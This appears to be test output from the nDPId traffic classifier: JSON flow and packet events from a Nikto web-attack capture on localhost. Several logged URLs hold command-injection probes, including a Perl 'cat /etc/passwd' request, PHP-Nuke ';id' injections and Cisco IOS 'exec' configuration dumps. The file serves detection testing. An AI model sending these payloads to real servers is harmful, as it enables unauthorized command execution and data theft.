+00668{"flow_id":548,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":556270,"pkt_caplen":240,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":240,"pkt_l4_len":206,"pkt":"AAAAAAAAAAAAAAAACABFAADi3pNAAEAGXYB\/AAABfwAAAcXiH5AliOZ9pOzTK4AYAED+1gAAAQEICp1m\/lydZv5cR0VUIC9wZXJsLy1lJTIwJTIyc3lzdGVtKCdjYXQlMjAvZXRjL3Bhc3N3ZCcpO1wlMjIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDExNjIpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":548,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":548,"flow_packet_id":1,"flow_first_seen":1576420277556,"flow_last_seen":0,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":206,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":206,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50658,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/perl\/-e%20%22system('cat%20\/etc\/passwd');\\%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001162)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":549,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":549,"flow_packet_id":1,"flow_first_seen":1576420277558,"flow_last_seen":0,"flow_tot_l4_data_len":236,"flow_min_l4_data_len":236,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":236,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50660,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00709{"flow_id":549,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":558919,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"AAAAAAAAAAAAAAAACABFAAEAA3dAAEAGOH9\/AAABfwAAAcXkH5CI\/DuZGQJJI4AYAED+9AAAAQEICp1m\/l6dZv5eR0VUIC9waHBudWtlL2h0bWwvLnBocD9uYW1lPU5ldHdvcmtfVG9vbHMmZmlsZT1pbmRleCZmdW5jPXBpbmdfaG9zdCZoaW5wdXQ9JTNCaWQgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDExNjMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":549,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":549,"flow_packet_id":1,"flow_first_seen":1576420277558,"flow_last_seen":0,"flow_tot_l4_data_len":236,"flow_min_l4_data_len":236,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":236,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50660,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpnuke\/html\/.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001163)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":550,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":550,"flow_packet_id":1,"flow_first_seen":1576420277560,"flow_last_seen":0,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":238,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":238,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50662,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00712{"flow_id":550,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":560204,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"AAAAAAAAAAAAAAAACABFAAECBD1AAEAGN7d\/AAABfwAAAcXmH5DeDzzWjlOxJoAYAED+9gAAAQEICp1m\/mCdZv5gR0VUIC9waHBudWtlL21vZHVsZXMucGhwP25hbWU9TmV0d29ya19Ub29scyZmaWxlPWluZGV4JmZ1bmM9cGluZ19ob3N0JmhpbnB1dD0lM0JpZCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTY0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00827{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":550,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":550,"flow_packet_id":1,"flow_first_seen":1576420277560,"flow_last_seen":0,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":238,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":238,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50662,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpnuke\/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001164)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":551,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":551,"flow_packet_id":1,"flow_first_seen":1576420277561,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50664,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":551,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":551,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":561470,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFzD1AAEAGb\/N\/AAABfwAAAcXoH5BUiPTWm6mSyIAYAED+uQAAAQEICp1m\/mGdZv5hR0VUIC9Qcm9ncmFtJTIwRmlsZXMvIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTY1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":551,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":551,"flow_packet_id":1,"flow_first_seen":1576420277561,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50664,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/Program%20Files\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001165)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":552,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":552,"flow_packet_id":1,"flow_first_seen":1576420277562,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50666,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":552,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":562744,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAFKZAAEAGJ5B\/AAABfwAAAcXqH5AjeyxLwwFcDYAYAED+tAAAAQEICp1m\/mKdZv5iR0VUIC9zbXNzZW5kLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTY2KQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":552,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":552,"flow_packet_id":1,"flow_first_seen":1576420277562,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50666,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/smssend.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001166)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":553,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":553,"flow_packet_id":1,"flow_first_seen":1576420277564,"flow_last_seen":0,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":196,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":196,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50668,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":553,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":553,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":564046,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"AAAAAAAAAAAAAAAACABFAADYoI5AAEAGm49\/AAABfwAAAcXsH5AgHJhkU1YzMYAYAED+zAAAAQEICp1m\/mOdZv5jR0VUIC9wbHMvc2ltcGxlZGFkL2FkbWluXy9kYWRlbnRyaWVzLmh0bSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTY3KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":553,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":553,"flow_packet_id":1,"flow_first_seen":1576420277564,"flow_last_seen":0,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":196,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":196,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50668,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/pls\/simpledad\/admin_\/dadentries.htm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001167)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":554,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":554,"flow_packet_id":1,"flow_first_seen":1576420277565,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50670,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":554,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":565303,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKFqFAAEAGJYt\/AAABfwAAAcXuH5Ag7S5xgHE61oAYAED+vgAAAQEICp1m\/mWdZv5lR0VUIC9sZXZlbC8xNi9leGVjLy0vLy9wd2QgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTI1MykNCg0K"} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":554,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":554,"flow_packet_id":1,"flow_first_seen":1576420277565,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50670,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/exec\/-\/\/\/pwd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001253)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":555,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":555,"flow_packet_id":1,"flow_first_seen":1576420277566,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50672,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":555,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":566524,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAAAAAAAAAAAAACABFAADZY3pAAEAG2KJ\/AAABfwAAAcXwH5Bf2FuYp3IH4oAYAED+zQAAAQEICp1m\/madZv5mR0VUIC9sZXZlbC8xNi9leGVjLy0vLy9zaG93L2NvbmZpZ3VyYXRpb24gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNTQpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":555,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":555,"flow_packet_id":1,"flow_first_seen":1576420277566,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50672,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/exec\/-\/\/\/show\/configuration","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001254)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":556,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":556,"flow_packet_id":1,"flow_first_seen":1576420277567,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50674,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":556,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":567763,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9ybtAAEAGcn1\/AAABfwAAAcXyH5BbOPFKogxutoAYAED+sQAAAQEICp1m\/medZv5nR0VUIC9sZXZlbC8xNiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjU1KQ0KDQo="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":556,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":556,"flow_packet_id":1,"flow_first_seen":1576420277567,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50674,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001255)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":557,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":557,"flow_packet_id":1,"flow_first_seen":1576420277568,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50676,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":557,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":568978,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDBTJAAEAGNwF\/AAABfwAAAcX0H5Cobz3BWm\/3E4AYAED+twAAAQEICp1m\/midZv5oR0VUIC9sZXZlbC8xNi9leGVjLyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjU2KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":557,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":557,"flow_packet_id":1,"flow_first_seen":1576420277568,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50676,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/exec\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001256)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":558,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":558,"flow_packet_id":1,"flow_first_seen":1576420277570,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50678,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00652{"flow_id":558,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":570281,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"AAAAAAAAAAAAAAAACABFAADVrDFAAEAGj+9\/AAABfwAAAcX2H5DQ55TgYEZuMYAYAED+yQAAAQEICp1m\/mqdZv5qR0VUIC9sZXZlbC8xNi9leGVjLy9zaG93L2FjY2Vzcy1saXN0cyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTI1NykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":558,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":558,"flow_packet_id":1,"flow_first_seen":1576420277570,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50678,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/exec\/\/show\/access-lists","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001257)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":559,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":559,"flow_packet_id":1,"flow_first_seen":1576420277572,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50680,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00664{"flow_id":559,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":572971,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"AAAAAAAAAAAAAAAACABFAADf3g5AAEAGXgh\/AAABfwAAAcX4H5Dm0Ob+nlg5uYAYAED+0wAAAQEICp1m\/mydZv5sR0VUIC9sZXZlbC8xNi9sZXZlbC8xNi9leGVjLy9zaG93L2NvbmZpZ3VyYXRpb24gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTI1OCkNCg0K"} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":559,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":559,"flow_packet_id":1,"flow_first_seen":1576420277572,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50680,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/16\/level\/16\/exec\/\/show\/configuration","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001258)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":560,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":560,"flow_packet_id":1,"flow_first_seen":1576420277574,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50682,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00660{"flow_id":560,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":574489,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"AAAAAAAAAAAAAAAACABFAADcDd9AAEAGLjt\/AAABfwAAAcX6H5DZiDUt3Agrh4AYAED+0AAAAQEICp1m\/m6dZv5uR0VUIC9sZXZlbC8xNi9sZXZlbC8xNi9leGVjLy9zaG93L2ludGVyZmFjZXMgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNTkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} 